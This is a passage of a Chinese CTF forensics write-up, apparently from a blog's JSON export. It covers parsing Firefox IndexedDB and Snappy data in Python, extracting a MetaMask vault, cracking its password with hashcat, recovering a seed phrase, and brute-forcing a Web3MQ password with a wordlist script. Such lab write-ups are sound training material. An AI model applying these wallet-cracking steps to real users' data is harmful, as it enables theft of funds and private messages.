DataType.STRING:\n            return False, self.read_string(data)\n        elif tag == DataType.STRING_OBJECT:\n            return True, JSStringObj(self.read_string(data))\n\n        elif tag == DataType.NUMBER_OBJECT:\n            return True, JSNumberObj(self.input.read_double())\n\n        elif tag == DataType.BIGINT:\n            return False, self.read_bigint()\n        elif tag == DataType.BIGINT_OBJECT:\n            return True, JSBigIntObj(self.read_bigint())\n\n        elif tag == DataType.DATE_OBJECT:\n            # These timestamps are always UTC\n            return True, datetime.datetime.fromtimestamp(self.input.read_double(),\n                                                         datetime.timezone.utc)\n\n        elif tag == DataType.REGEXP_OBJECT:\n            flags = RegExpFlag(data)\n\n            tag2, data2 = self.input.read_pair()\n            if tag2 != DataType.STRING:\n                # return False, False\n                raise ParseError(&quot;RegExp type must be followed by string&quot;)\n\n            return True, JSRegExpObj(flags, self.read_string(data2))\n\n        elif tag == DataType.ARRAY_OBJECT:\n            obj = []\n            self.objs.append(obj)\n            return True, obj\n        elif tag == DataType.OBJECT_OBJECT:\n            obj = {}\n            self.objs.append(obj)\n            return True, obj\n\n        elif tag == DataType.BACK_REFERENCE_OBJECT:\n            try:\n                return False, self.all_objs[data]\n            except IndexError:\n                # return False, False\n                raise ParseError(\n                    &quot;Object backreference to non-existing object&quot;) from None\n\n        elif tag == DataType.ARRAY_BUFFER_OBJECT:\n            return True, self.read_array_buffer(data)  # XXX: TODO\n\n        elif tag == DataType.SHARED_ARRAY_BUFFER_OBJECT:\n            return True, self.read_shared_array_buffer(data)  # XXX: TODO\n\n        elif tag == DataType.SHARED_WASM_MEMORY_OBJECT:\n            return True, self.read_shared_wasm_memory(data)  # XXX: TODO\n\n        elif tag == DataType.TYPED_ARRAY_OBJECT:\n            array_type = self.input.read()\n            return False, self.read_typed_array(array_type, data)  # XXX: TODO\n\n        elif tag == DataType.DATA_VIEW_OBJECT:\n            return False, self.read_data_view(data)  # XXX: TODO\n\n        elif tag == DataType.MAP_OBJECT:\n            obj = JSMapObj()\n            self.objs.append(obj)\n            return True, obj\n\n        elif tag == DataType.SET_OBJECT:\n            obj = JSSetObj()\n            self.objs.append(obj)\n            return True, obj\n\n        elif tag == DataType.SAVED_FRAME_OBJECT:\n            obj = self.read_saved_frame(data)  # XXX: TODO\n            self.objs.append(obj)\n            return True, obj\n\n        elif tag &lt; int(DataType.FLOAT_MAX):\n            # Reassemble double floating point value\n            return False, struct.unpack(&quot;=d&quot;, struct.pack(&quot;=q&quot;, (tag &lt;&lt; 32) | data))[0]\n\n        elif DataType.TYPED_ARRAY_V1_MIN &lt;= tag &lt;= DataType.TYPED_ARRAY_V1_MAX:\n            return False, self.read_typed_array(tag - DataType.TYPED_ARRAY_V1_MIN, data)\n\n        else:\n            # return False, False\n            raise ParseError(&quot;Unsupported type&quot;)\n\n&quot;&quot;&quot;A parser for the Mozilla variant of Snappy frame format.&quot;&quot;&quot;\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n# Credits:\n#   \u2013 Python source code by Erin Yuki Schlarb, 2024.\n\ndef decompress_raw(data: bytes) -&gt; bytes:\n    &quot;&quot;&quot;Decompress a raw Snappy chunk without any framing&quot;&quot;&quot;\n    # Delegate this part to the cramjam library\n    return cramjam.snappy.decompress_raw(data)\n\nclass Decompressor(io.BufferedIOBase):\n    inner: io.BufferedIOBase\n\n    _buf: bytearray\n    _buf_len: int\n    _buf_pos: int\n\n    def __init__(self, inner: io.BufferedIOBase) -&gt; None:\n        assert inner.readable()\n        self.inner = inner\n        self._buf = bytearray(65536)\n        self._buf_len = 0\n        self._buf_pos = 0\n\n    def readable(self) -&gt; ty.Literal[True]:\n        return True\n\n    def _read_next_data_chunk(self) -&gt; None:\n        # We start with the buffer empty\n        assert self._buf_len == 0\n\n        # Keep parsing chunks until something is added to the buffer\n        while self._buf_len == 0:\n            # Read chunk header\n            header = self.inner.read(4)\n            if len(header) == 0:\n                # EOF \u2013 buffer remains empty\n                return\n            elif len(header) != 4:\n                # Just part of a header being present is invalid\n                raise EOFError(\n                    &quot;Unexpected EOF while reading Snappy chunk header&quot;)\n            type, length = header[0], int.from_bytes(header[1:4], &quot;little&quot;)\n\n            if type == 0xFF:\n                # Stream identifier \u2013 contents should be checked but otherwise ignored\n                if length != 6:\n                    raise ValueError(\n                        &quot;Invalid stream identifier (wrong length)&quot;)\n\n                # Read and verify required content is present\n                content = self.inner.read(length)\n                if len(content) != 6:\n                    raise EOFError(\n                        &quot;Unexpected EOF while reading stream identifier&quot;)\n\n                if content != b&quot;sNaPpY&quot;:\n                    raise ValueError(\n                        &quot;Invalid stream identifier (wrong content)&quot;)\n            elif type == 0x00:\n                # Compressed data\n\n                # Read checksum\n                checksum: bytes = self.inner.read(4)\n                if len(checksum) != 4:\n                    raise EOFError(\n                        &quot;Unexpected EOF while reading data checksum&quot;)\n\n                # Read compressed data into new buffer\n                compressed: bytes = self.inner.read(length - 4)\n                if len(compressed) != length - 4:\n                    raise EOFError(\n                        &quot;Unexpected EOF while reading data contents&quot;)\n\n                # Decompress data into inner buffer\n                # XXX: There does not appear to an efficient way to set the length\n                #     of a bytearray\n                self._buf_len = cramjam.snappy.decompress_raw_into(\n                    compressed, self._buf)\n\n                # TODO: Verify checksum\n            elif type == 0x01:\n                # Uncompressed data\n                if length &gt; 65536:\n                    raise ValueError(\n                        &quot;Invalid uncompressed data chunk (length &gt; 65536)&quot;)\n\n                checksum: bytes = self.inner.read(4)\n                if len(checksum) != 4:\n                    raise EOFError(\n                        &quot;Unexpected EOF while reading data checksum&quot;)\n\n                # Read chunk data into buffer\n                with memoryview(self._buf) as view:\n                    if self.inner.readinto(view[:(length - 4)]) != length - 4:\n                        raise EOFError(\n                            &quot;Unexpected EOF while reading data contents&quot;)\n                    self._buf_len = length - 4\n\n                # TODO: Verify checksum\n            elif type in range(0x80, 0xFE + 1):\n                # Padding and reserved skippable chunks \u2013 just skip the contents\n                if self.inner.seekable():\n                    self.inner.seek(length, io.SEEK_CUR)\n                else:\n                    self.inner.read(length)\n            else:\n                raise ValueError(\n                    f&quot;Unexpected unskippable reserved chunk: 0x{type:02X}&quot;)\n\n    def read1(self, size: ty.Optional[int] = -1) -&gt; bytes:\n        # Read another chunk if the buffer is currently empty\n        if self._buf_len &lt; 1:\n            self._read_next_data_chunk()\n\n        # Return some of the data currently present in the buffer\n        start = self._buf_pos\n        if size is None or size &lt; 0:\n            end = self._buf_len\n        else:\n            end = min(start + size, self._buf_len)\n\n        result: bytes = bytes(self._buf[start:end])\n        if end &lt; self._buf_len:\n            self._buf_pos = end\n        else:\n            self._buf_len = 0\n            self._buf_pos = 0\n        return result\n\n    def read(self, size: ty.Optional[int] = -1) -&gt; bytes:\n        buf: bytearray = bytearray()\n        if size is None or size &lt; 0:\n            while len(data := self.read1()) &gt; 0:\n                buf += data\n        else:\n            while len(buf) &lt; size and len(data := self.read1(size - len(buf))) &gt; 0:\n                buf += data\n        return buf\n\n    def readinto1(self, buf: cabc.Sequence[bytes]) -&gt; int:\n        # Read another chunk if the buffer is currently empty\n        if self._buf_len &lt; 1:\n            self._read_next_data_chunk()\n\n        # Copy some of the data currently present in the buffer\n        start = self._buf_pos\n        end = min(start + len(buf), self._buf_len)\n\n        buf[0:(end - start)] = self._buf[start:end]\n        if end &lt; self._buf_len:\n            self._buf_pos = end\n        else:\n            self._buf_len = 0\n            self._buf_pos = 0\n        return end - start\n\n    def readinto(self, buf: cabc.Sequence[bytes]) -&gt; int:\n        with memoryview(buf) as view:\n            pos = 0\n            while pos &lt; len(buf) and (length := self.readinto1(view[pos:])) &gt; 0:\n                pos += length\n            return pos\n\nwith open(&quot;488&quot;, &quot;rb&quot;) as ff:\n    d = Decompressor(ff)\n    decoded = d.read()\n    decodedStr = decoded.decode(encoding=&#039;utf-8&#039;, errors=&quot;ignore&quot;)\n\nprint(decodedStr)<\/code><\/pre>\n<p>\u5bf9\u5148\u524d\u5f97\u5230\u7684idb\u6587\u4ef6\u8fdb\u884c\u89e3\u538b\u7f29\uff0c\u5373\u53ef\u5f97\u5230\u539f\u59cb\u6570\u636e\uff0c\u5176\u4e2d\u6709\u5173vault\u7684\u4fe1\u606f\u5982\u4e0b<\/p>\n<pre class=\"prettyprint linenums\" ><code>{&quot;data&quot;:&quot;WT5WJKyy+Ol+hgVsSKViRytzII2INhhftI5RJlgvuNuLx\/MxDXMZtaIxfNeC\/7LnvcfgitrTcQCQBh5ULv8AemL6SFSjzcACNrlCRIcppYmUFuMp6clW7nUi+My0Rj521yd\/kwmLuHNToIRiACSezzLAWHkLXnZuvtDX2zyRvISZ0AQBseFXBecB0xKa0hcdoGsxBRBnK0vPvFf8b9TGfFAB7Qefh2O8GrFqzc40qX42gCgs+gVe0uq0A6SUSMKlwomMSfGQZJt6xfwMBZy8Or0kO0+D2Bjj0AgyIZaOeQ6S8IL\/zcfO5Qi+gFaGpo6sGVOk1Yiu9+8enZvOuUW5IiIgydrzFKRixEMClAPa9MLDt3cksq52DxzorFLN8vYBqFY39DYQdSebg0HC6+Ww7XMz+b8FFKLqxLroar8F8IxP9WE1BHDIiT7mOcrUZnKW+W1Mmq6vbz+XuHmpz46OR8oD1KjwRVWV61qvTf7sg2H56fxbGrzjml89HATckwPrJ0cEwTAQcIkPZOA\/DuuWsoHr6X6U4jYWJ+qwJFKYMIbwSWIdOmXKhb3kuJIS1YZzRCqHNJ0opudN6sRVOf\/+nRp6wC4ww8LRTK1e1KTJ3aHdna7mIOJzMMO\/0U0Gn9EDb4EMrK5XMzuZB0UaOR+9YmQaTUKGAQRNLVHMpdMgLQkVnxbZp4bIJiTRpXaKbIip+am9HAy4uq47vkY7ql72tQ5E4x9Ipkx4dKXF6ppiBBip6ag6QQ==&quot;,&quot;iv&quot;:&quot;fPymLoml7KKyZ5wdqwylqg==&quot;,&quot;keyMetadata&quot;:{&quot;algorithm&quot;:&quot;PBKDF2&quot;,&quot;params&quot;:{&quot;iterations&quot;:600000}},&quot;salt&quot;:&quot;xN8qVOAe6KF+JTti1cOyGNBNdSWTlumu1YQi2A4GcbU=&quot;}<\/code><\/pre>\n<p>\u7531\u4e8edocuments\u91cc\u9762\u53d1\u73b0\u4e86\u5bc6\u7801\u5b57\u5178\uff0c\u4e8e\u662f\u76f4\u63a5\u4f7f\u7528metamask2hashcat.py\u5f97\u5230\u5bc6\u7801hash<\/p>\n<pre class=\"prettyprint linenums\" ><code>$metamask$xN8qVOAe6KF+JTti1cOyGNBNdSWTlumu1YQi2A4GcbU=$fPymLoml7KKyZ5wdqwylqg==$WT5WJKyy+Ol+hgVsSKViRytzII2INhhftI5RJlgvuNuLx\/MxDXMZtaIxfNeC\/7LnvcfgitrTcQCQBh5ULv8AemL6SFSjzcACNrlCRIcppYmUFuMp6clW7nUi+My0Rj521yd\/kwmLuHNToIRiACSezzLAWHkLXnZuvtDX2zyRvISZ0AQBseFXBecB0xKa0hcdoGsxBRBnK0vPvFf8b9TGfFAB7Qefh2O8GrFqzc40qX42gCgs+gVe0uq0A6SUSMKlwomMSfGQZJt6xfwMBZy8Or0kO0+D2Bjj0AgyIZaOeQ6S8IL\/zcfO5Qi+gFaGpo6sGVOk1Yiu9+8enZvOuUW5IiIgydrzFKRixEMClAPa9MLDt3cksq52DxzorFLN8vYBqFY39DYQdSebg0HC6+Ww7XMz+b8FFKLqxLroar8F8IxP9WE1BHDIiT7mOcrUZnKW+W1Mmq6vbz+XuHmpz46OR8oD1KjwRVWV61qvTf7sg2H56fxbGrzjml89HATckwPrJ0cEwTAQcIkPZOA\/DuuWsoHr6X6U4jYWJ+qwJFKYMIbwSWIdOmXKhb3kuJIS1YZzRCqHNJ0opudN6sRVOf\/+nRp6wC4ww8LRTK1e1KTJ3aHdna7mIOJzMMO\/0U0Gn9EDb4EMrK5XMzuZB0UaOR+9YmQaTUKGAQRNLVHMpdMgLQkVnxbZp4bIJiTRpXaKbIip+am9HAy4uq47vkY7ql72tQ5E4x9Ipkx4dKXF6ppiBBip6ag6QQ==<\/code><\/pre>\n<p>\u6ce8\u610fmetamask\u5b98\u65b9\u66f4\u65b0\u4e86\u52a0\u5bc6\u7b56\u7565\uff0c\u7528hashcat\u91cc\u9762\u5185\u7f6e\u7684\u6a21\u5f0f\u5df2\u7ecf\u65e0\u6cd5\u7834\u89e3\u73b0\u5728\u7684\u5bc6\u7801\u4e86\uff0c\u9700\u8981\u53d6\u4e0b\u8f7d\u6709\u4eba\u505a\u597d\u7684\u7248\u672c\uff0c\u6bd4\u5982<\/p>\n<pre class=\"prettyprint linenums\" ><code>https:\/\/github.com\/flyinginsect271\/MetamaskHashcatModule<\/code><\/pre>\n<p>\u7136\u540e\u653e\u8fdbhashcat\u7684modules\u6587\u4ef6\u5939\u4e2d<\/p>\n<p>\u7206\u7834\u5373\u53ef<\/p>\n<pre class=\"prettyprint linenums\" ><code>hashcat -a 0 -m 26650 1.txt .\/passwords.txt --force<\/code><\/pre>\n<p>\u7a0d\u4f5c\u7b49\u5f85\uff0c\u5f97\u5230\u5bc6\u7801: <\/p>\n<pre class=\"prettyprint linenums\" ><code>silversi<\/code><\/pre>\n<p>\u7136\u540e\u4f7f\u7528metamask\u5b98\u65b9\u7684\u89e3\u5bc6\u7f51\u7ad9\uff1a<a href=\"https:\/\/metamask.github.io\/vault-decryptor\/\">https:\/\/metamask.github.io\/vault-decryptor\/<\/a><\/p>\n<p>\u5c31\u5f97\u5230\u52a9\u8bb0\u8bcd<\/p>\n<pre class=\"prettyprint linenums\" ><code>acid happy olive slim crane avoid there cave umbrella connect rain vessel<\/code><\/pre>\n<p>\u4e8e\u662f\u5c31\u53ef\u4ee5\u76f4\u63a5\u5728\u672c\u5730\u7684metamask\u4e2d\u91cd\u7f6e\u5bc6\u7801\u5bfc\u5165\u94b1\u5305<\/p>\n<p>\u81f3\u6b64\u7b2c\u4e00\u90e8\u5206\u5c31\u7ed3\u675f\u4e86\uff0c\u5df2\u7ecf\u6210\u529f\u7684\u5bfc\u5165\u4e86\u94b1\u5305\uff0c\u7136\u540e\u5c31\u662f\u5bf9\u4e8eidb\u8fdb\u4e00\u6b65\u7684\u6316\u6398\u3002<\/p>\n<p>\u4e8e\u662f\u5c31\u53ef\u4ee5\u53d1\u73b0\u5176\u4e2d\u7684web3mq\u76f8\u5173\u7684\u6d88\u606f\uff0c\u4e86\u89e3\u540e\u53ef\u5f97\u77e5\u8fd9\u662f\u4e00\u4e2a\u94fe\u4e0a\u901a\u4fe1\u7684snap<\/p>\n<p>\u5982\u679c\u4f60\u4ed4\u7ec6\u53bb\u7ffbidb\uff0c\u53ef\u4ee5\u53d1\u73b0\u5176\u4e2d\u6709\u8fd9\u6837\u51e0\u6761\u6d88\u606f<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/66a24a74d9c307b7e978b87b.png\" alt=\"\" \/><\/p>\n<p>\u53ef\u4ee5\u53d1\u73b0\u662f\u8fdb\u884c\u4e86\u7b7e\u540d\u64cd\u4f5c\uff0c\u8fd9\u91cc\u53ef\u4ee5\u5bf9\u6d88\u606f\u8fdb\u884c\u89e3\u5bc6<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/66a24ac9d9c307b7e979019f.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/66a24aefd9c307b7e9792424.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/66a24b04d9c307b7e97937ee.png\" alt=\"\" \/><\/p>\n<p>\u7531\u4e8eweb3mq\u662f\u5f00\u6e90\u7684\uff0c\u6240\u4ee5\u5bf9\u4e8e\u8fd9\u4e9b\u683c\u5f0f\u90fd\u53ef\u4ee5\u5728\u6e90\u7801\u4e2d\u627e\u5230\u5bf9\u5e94\u7684\u4ee3\u7801\uff0c\u8fd9\u91cc\u6709\u7528\u7684\u662f\u7b2c\u4e00\u5f20\u56fe\u91cc\u7684\u6d88\u606f\uff0c\u4f60\u53ef\u4ee5\u5728\u8fd9\u91cc\u627e\u5230\u5b83<\/p>\n<pre class=\"prettyprint linenums\" ><code>https:\/\/github.com\/Generative-Labs\/Web3MQ-Snap\/blob\/fc18f84e653070f8914f5058ab870a6ef04d3ee8\/packages\/snap\/src\/register\/index.ts#L204<\/code><\/pre>\n<p>\u5373<\/p>\n<pre class=\"prettyprint linenums\" ><code>  getMainKeypairSignContent = async (\n    options: GetMainKeypairParams,\n  ): Promise&lt;GetSignContentResponse&gt; =&gt; {\n    const { password, did_value, did_type } = options;\n    const keyIndex = 1;\n    const keyMSG = `${did_type}:${did_value}${keyIndex}${password}`;\n\n    const magicString = Uint8ToBase64String(\n      new TextEncoder().encode(sha3_224(`$web3mq${keyMSG}web3mq$`)),\n    );\n\n    const signContent = `Signing this message will allow this app to decrypt messages in the Web3MQ protocol for the following address: ${did_value}. This won\u2019t cost you anything.\n\nIf your Web3MQ wallet-associated password and this signature is exposed to any malicious app, this would result in exposure of Web3MQ account access and encryption keys, and the attacker would be able to read your messages.\n\nIn the event of such an incident, don\u2019t panic. You can call Web3MQ\u2019s key revoke API and service to revoke access to the exposed encryption key and generate a new one!\n\nNonce: ${magicString}`;\n\n    return { signContent };\n  };<\/code><\/pre>\n<p>\u4ed4\u7ec6\u770b\u770b\u5176\u5b9enonce\u5927\u6709\u6765\u5934\uff0c\u5176\u683c\u5f0f\u5982\u4e0b<\/p>\n<pre class=\"prettyprint linenums\" ><code>sha3_224(`$web3mq${did_type}:${did_value}${keyIndex}${password}web3mq$`)<\/code><\/pre>\n<p>\u901a\u8fc7\u66f4\u591a\u6e90\u7801\uff0c\u6211\u4eec\u53ef\u4ee5\u77e5\u9053\u4fe1\u606f\u5982\u4e0b<\/p>\n<pre class=\"prettyprint linenums\" ><code>did_type = &quot;eth&quot;\ndid_value = wallet_address\nkeyIndex = 1\npassword \u672a\u77e5<\/code><\/pre>\n<p>\u94b1\u5305\u5730\u5740\u53ef\u4ee5\u770b\u5230\u662f0xd1Abc6113bDa0269129c0fAa2Bd0C9c1bb512Be6\uff0c\u6ce8\u610f\u8fd9\u91cc\u9700\u8981\u8f6c\u53d8\u6210\u5168\u5c0f\u5199\u3002\u6240\u4ee5\u8bf4\u5728\u8fd9\u91cc\u672a\u77e5\u7684\u53ea\u6709password\uff0c\u53ea\u8981\u8fdb\u884c\u7206\u7834\u5c31\u591f\u4e86\uff0c\u800c\u4e14\u662fsha3-224\u53ef\u4ee5\u7206\u7834\u7684\u975e\u5e38\u5feb\uff0c\u7f16\u5199\u811a\u672c\u5982\u4e0b<\/p>\n<pre class=\"prettyprint linenums\" ><code>import hashlib\nimport base64\n\ndef sha3_224(string):\n    sha3 = hashlib.sha3_224()\n    string = &quot;$web3mqeth:0xd1abc6113bda0269129c0faa2bd0c9c1bb512be61&quot;+string+&quot;web3mq$&quot;\n    sha3.update(string.encode())\n    return sha3.hexdigest()\n\ndef bruteforce_sha3_224(target_hash, wordlist):\n    for word in wordlist:\n        computed_hash = sha3_224(word)\n        if computed_hash == target_hash:\n            return word\n    return None\n\ntarget_Nonce = &quot;Mzk2ZDBiNTVmZjkyMGRkYTVkNTFjMTQ3ODU4YTM1NDc4ZGE1NjExMTllYmRiYWE4MzQyM2M3YzI=&quot;\ntarget_hash = base64.b64decode(target_Nonce).decode()\nwordlist = open(&quot;passwords.txt&quot;, &quot;r&quot;).read().split(&quot;\\n&quot;)\nprint(&quot;target_hash: &quot;, target_hash)\noriginal_string = bruteforce_sha3_224(target_hash, wordlist)\nif original_string:\n    print(f&quot;Found original string: {original_string}&quot;)\nelse:\n    print(&quot;No match found in the wordlist.&quot;)<\/code><\/pre>\n<p>\u8fd0\u884c\u4ee3\u7801\u5373\u53ef\u5f97\u5230\u5bc6\u7801\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code>stanley1<\/code><\/pre>\n<p>\u81f3\u6b64\uff0c\u5c31\u5df2\u7ecf\u5b8c\u6210\u4e86\u9898\u76ee\u7684\u6240\u6709\u90e8\u5206\uff0c\u6700\u540e\u53ea\u9700\u8981\u767b\u9646web3mq\uff0c\u70b9\u4e00\u4e0b\u5de6\u4e0b\u89d2\u7684\u6309\u94ae\uff0c\u67e5\u770b\u804a\u5929\u8bb0\u5f55\u5373\u53ef<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic.imgdb.cn\/item\/66a24df1d9c307b7e97cfb46.png\" alt=\"\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u597d\u4e45\u6ca1\u66f4\u65b0\u4e86\uff0c\u8fd9\u6b21WMCTF\u51fa\u4e86\u4e24\u4e2a\u53d6\u8bc1\u9898\uff0c\u53d1\u4e2awp Party Time \u6253\u5f00\u78c1\u76d8\u955c\u50cf\u53ef\u4ee5\u53d1\u73b0\u684c\u9762\u4e0a\u7684Party invitation.docm\uff0c\u662f\u4e00\u4e2a\u5b8f\u6587\u6863\uff0c\u76f4\u63a5\u4f7f\u7528oletools olevba Party\\ invitation.docm \u5373\u53ef\u5f97\u5230\u5b8f\u4ee3\u7801 Private Sub Document_Open() Dim p As DocumentProperty Dim decoded As [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-323","post","type-post","status-publish","format-standard","hentry","category-wp"],"_links":{"self":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/323","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/comments?post=323"}],"version-history":[{"count":2,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/323\/revisions"}],"predecessor-version":[{"id":325,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/323\/revisions\/325"}],"wp:attachment":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/media?parent=323"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/categories?post=323"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/tags?post=323"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}